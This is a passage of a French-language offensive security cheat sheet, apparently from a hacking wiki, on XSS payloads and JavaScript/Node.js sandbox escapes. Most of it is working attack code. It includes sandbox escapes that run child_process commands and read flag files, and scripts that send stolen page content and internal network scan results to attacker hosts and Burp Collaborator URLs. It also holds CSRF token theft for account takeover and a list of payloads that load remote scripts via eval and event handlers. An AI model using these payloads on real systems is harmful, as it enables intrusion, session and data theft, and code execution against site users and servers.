//Final solutionwith(/with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))/)with(this)with(constructor)constructor(source)()// For more uses of with go to challenge misc/CaaSio PSE in// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Si tout est indéfini avant d'exécuter du code non fiable (comme dans cette analyse), il est possible de générer des objets utiles "à partir de rien" pour abuser de l'exécution de code non fiable arbitraire :
En utilisant import()
// although import "fs" doesn’t work, import('fs') does.import("fs").then(m=>console.log(m.readFileSync("/flag.txt","utf8")))
Accès indirect à require
Selon ce lien, les modules sont enveloppés par Node.js dans une fonction, comme ceci :
Par conséquent, si à partir de ce module nous pouvons appeler une autre fonction, il est possible d'utiliser arguments.callee.caller.arguments[1] depuis cette fonction pour accéder à require:
De manière similaire à l'exemple précédent, il est possible d'utiliser des gestionnaires d'erreurs pour accéder à l'enveloppe du module et obtenir la fonction require:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
Vous ne pourrez pas accéder aux cookies depuis JavaScript si le drapeau HTTPOnly est défini dans le cookie. Mais ici, vous avez quelques façons de contourner cette protection si vous avez de la chance.
Vol de contenu de la page
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
Trouver les adresses IP internes
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
Lorsque des données sont saisies dans le champ du mot de passe, le nom d'utilisateur et le mot de passe sont envoyés au serveur de l'attaquant, même si le client sélectionne un mot de passe enregistré et ne saisit rien, les informations d'identification seront exfiltrées.
Enregistreur de frappe
En cherchant simplement sur github, j'en ai trouvé quelques-uns différents :
Vous pouvez également utiliser metasploit http_javascript_keylogger
Vol de jetons CSRF
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - Accéder au contenu caché
À partir de cette analyse, il est possible d'apprendre que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS de différents objets. Par exemple, il est toujours possible de trouver une entrée d'une REGEX après que la valeur de l'entrée de la REGEX ait été supprimée :
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Liste de Brute-Force
Exploitation XSS d'autres vulnérabilités
XSS dans Markdown
Peut-on injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir du XSS ! Vérifiez :
Avez-vous obtenu du XSS sur un site qui utilise du caching ? Essayez de le transformer en SSRF en utilisant une Injection Edge Side Include avec cette charge utile :
<esi:include src="http://yoursite.com/capture" />
Utilisez-le pour contourner les restrictions des cookies, les filtres XSS et bien plus encore!
Plus d'informations sur cette technique ici: XSLT.
XSS dans les PDF créés dynamiquement
Si une page web crée un PDF en utilisant une entrée contrôlée par l'utilisateur, vous pouvez essayer de tromper le bot qui crée le PDF pour exécuter du code JS arbitraire.
Ainsi, si le bot créateur de PDF trouve des sortes de balises HTML, il va les interpréter, et vous pouvez abuser de ce comportement pour provoquer un XSS côté serveur.
AMP, visant à accélérer les performances des pages web sur les appareils mobiles, intègre des balises HTML complétées par JavaScript pour garantir la fonctionnalité avec un accent sur la vitesse et la sécurité. Il prend en charge une gamme de composants pour diverses fonctionnalités, accessibles via composants AMP.
Le format AMP pour Email étend des composants AMP spécifiques aux e-mails, permettant aux destinataires d'interagir avec le contenu directement dans leurs e-mails.